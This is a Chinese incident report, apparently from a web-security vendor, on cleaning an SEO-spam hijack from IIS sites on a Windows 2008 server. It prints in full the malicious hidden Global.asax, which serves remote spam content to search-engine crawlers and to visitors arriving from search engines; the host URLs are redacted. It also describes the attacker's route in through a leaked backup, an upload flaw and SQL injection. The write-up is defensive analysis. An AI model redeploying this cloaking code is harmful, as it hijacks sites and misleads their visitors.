服务器里所有IIS网站收录大量垃圾快照的解决

              2022年3月份所有的企业都开始恢复正常运营,公司网站的运营者发现网站被攻击篡改跳转,在百度的收录出现了大量的与网站本身内容不相干的快照,都是一些菠菜或违规的内容,而运营者用的是单独服务器WIN2008系统在服务器里找了好久都没有发现被篡改的问题,而且公司对这个网站的声誉非常严谨,需要尽快恢复正常访问,这个运营者束手无策后,找到了我们SINE安全寻求服务,我们接手后立马安排安全技术对客户网站的整体情况以及百度收录的情况进行了排查,发现网站在春节期间被入侵篡改收录了大量的违规快照内容,而且服务器里还有其他的网站也同样被篡改,接下来我把处理过程简单总结一下。

1.png

1.分析网站被攻击篡改的原因

客户网站用的是单独服务器,服务器是Windows server 2008,网站架构是用.net写的也就是aspx,数据库是sqlserver 2008,是一个综合的网站平台,有购物平台和客户下单系统,客户公司对网站用户的信息以及订单信息很重视怕被泄露,以及对网站的名誉都很重视,才想尽一切办法来恢复正常访问和安全加固,看了下网站根目录下的结构,存在一些默认的管理员目录admin,以及根目录下有个rar的压缩文件包,名字为filesbak.rar,打开看了下内容竟然是网站的备份目录,而且还包含了一些数据库备份的sql文件,可想而知,黑客肯定会通过批量猜解文件名去尝试下载。

4.jpg

通过对网站目录里的文件进行了代码安全审计,发现被上传了aspx木马后门,而且日期是2022年2月3日的,通过对日志的分析对比,发现黑客下载了网站的备份文件,通过上传功能的upload.aspx文件直接上传了木马后门,本身aspx的权限就比较大,可以直接提权拿到服务器权限,想到这里,对服务器的用户和用户组进行了比对,发现被增加了隐藏的管理员账户(客户网站的运营者没有发现,是因为你点开用户管理是看不到的,只能由我们SINE安全技术通过比对注册表进行对比才能看到),说明服务器也被黑客拿下了。既然问题已经清楚了,那就要分析被劫持跳转和收录恶意快照内容的问题,首先要检查网站根目录下的配置文件web.config看看有没有改动,检查了下文件内容正常,看了下首页文件index.aspx也没有篡改的迹象,对IIS站点的属性里的url伪静态也进行了查看,也没发现问题,根据我们多年的网站安全公司的处理经验,根目录下可能存在隐藏的文件,通过cmd命令下进行查看果然看到了一个隐藏属性的文件名为Global.asax,直接cmd命令cp拷贝文件到桌面进行查看,发现了被劫持跳转收录的木马代码:

<%@ Application Language="C#" %>

<%@ Import Namespace="System.Net" %>

<%@ Import Namespace="System.Net.Sockets" %>

<%@ Import Namespace="System.Text" %>

<%@ Import Namespace="System.IO" %>

<%@ Import Namespace="System.Security.Cryptography" %>

<script runat="server">

void Application_Error(object sender, EventArgs e)

{

if(Context != null)

{

HttpContext ctx = HttpContext.Current;

Exception ex = ctx.Server.GetLastError();

HttpException ev = ex as HttpException;

if(ev!= null)

{

if(ev.GetHttpCode() == 404)

{

string[] spidersString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');

string[] refesString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');

string Path = "xxx";(由于网站不能带网址,所以用xxx代表)

string jsPath = "xxx";(由于网站不能带网址,所以用xxx代表)

string leftPath = "xxx";(由于网站不能带网址,所以用xxx代表)

string REFERER = "xxx";(由于网站不能带网址,所以用xxx代表)

string user="";

string urls=Request.Url.ToString();

string host=Request.Url.Host;

string spi2 = "";

string[] spidersString2 = "ao,so.com,360".ToLower().Split(',');

string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();

foreach (string s12 in spidersString2)

{

if (user2.IndexOf(s12) != -1)

{

spi2 = "&zz=360";

break;

}}

if (user2.IndexOf("aid") != -1)

{

spi2 =spi2 + "&bb=baidu";

}

if (Request.UrlReferrer != null)

{

REFERER = Request.UrlReferrer.ToString().ToLower();

}

if (Request.ServerVariables["HTTP_USER_AGENT"] != null)

{

user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();

}

foreach (string s in refesString)

{

if (REFERER.IndexOf(s) != -1)

{

ctx.ClearError();

string getjs = get_content(jsPath);

Response.Write(getjs);

Response.End();

}

}

foreach (string s in spidersString)

{

if (user.IndexOf(s) != -1)

{

ctx.ClearError();

Response.Clear();

if (urls.IndexOf("sitemap") != -1)

{

string getleft = get_content(leftPath);

Response.Write(getleft);

Response.End();

}

string gethttp = get_content(Path+"?host="+host+"&urldz="+urls+spi2);

Response.Write(gethttp );

Response.End();

}

}

//Response.Redirect("/");

} } }}

void Application_BeginRequest(object sender, EventArgs e)

{

string[] spidersString = "Baiduspider,baidu.com,sogou.com,m.sogou,sougou,sogo,soso,360Spider".ToLower().Split(',');

string user="";

if (Request.ServerVariables["HTTP_USER_AGENT"] != null)

{

user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();

}

foreach (string s in spidersString)

{

if (user.IndexOf(s) != -1)

{

Response.Clear();

string gethttp = get_content("xxx");(由于网站不能带网址,所以用xxx代表)

Response.Write(gethttp);

}}}

private string get_content(string p)

{

string s = "";

try

{

System.Net.WebClient client = new System.Net.WebClient();

client.Encoding = System.Text.Encoding.GetEncoding("gb2312");

s = client.DownloadString(p);

client.Dispose();

}

catch(Exception ex)

{

Response.Write(""+ex.Message);

}

return s;

}</script>

2.网站木马清除和网站漏洞修复

找到问题后,我先来讲一下这个代码的作用,这个代码的功能主要是根据来路条件进行判断,如果来路的搜索引擎是sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc,就直接显示劫持地址的恶意内容,如果是直接输入网站域名的话就是正常显示,主要是对网站的快照收录和来路进行跳转,所以说很多运营者如果直接输入网站域名是发现不了问题的,如果用户搜索关键词点击网站链接进入的话会直接被跳转到恶意网站上去,知道原理后那我就找个模拟百度抓取的工具去抓取看下内容,图片如下:

2.jpg

果然模拟百度蜘蛛抓取到的内容会显示恶意标题,那了解这个木马劫持收录跳转的原理后,直接先把这个隐藏属性的Global.asax强制删除,然后再模拟抓取看下是否正常:

好了,网站恢复了正常访问,抓取也正常了,接下来的工作就是对网站木马后门的清理以及对网站漏洞的修复,通过我们人工代码审计发现一共留了3个后门,和1个服务器远控后门,先对网站的后门进行了删除,对上传目录进行了限制,对upload.aspx上传功能这里进行了修复,严格了对上传的后缀名限制,防止被绕过并上传aspx或asp的脚本文件,考虑到网站是用aspx和sql架构写的代码,认真看了下功能代码的变量提交函数的写法,发现存在sql注入攻击,黑客可以通过sql注入漏洞进行攻击直接用数据库用户的dbwone权限提权执行增加管理员账户,看到这个问题后立即对提交的变量函数统一进行了过滤,对非法字符和语句进行了限制,对默认的后台管理目录进行了系统二次验证,防止黑客暴力破解后台登录并篡改信息,服务器的后门直接对远程端口以及管理员账户进行了安全策略,只允许指定的IP进行通信。

djEvUTIzRmc4RFpWYVNFSnFLc1N5RnBYNnhxWXNCRGtoRzBxQmdkSURJdFhRRUVtMVlwcUdqSVBMNmhzR1hlQm9wRzlmMDdvZl9zZml4Q1llSWNOcFdZc1NWVHE5MTZzazBsbklHd3BiUm1JRXc9.png

因为大部分的运营者的安全技术有限,只能解决表面的问题,而网站反复被篡改攻击的问题实在是让运营者招架不住,再次建议网站的运营者有条件的话一定要向网站漏洞修复公司进行服务,国内做网站安全加固和漏洞修复的服务商如SINE安全,鹰盾安全,启明星辰,大树安全,都是有着丰富的实战安全防护经验,术业有专攻,专业的事情专业做。做好安全加固防护后网站稳定运行才是公司持久发展的必要条件。

分享: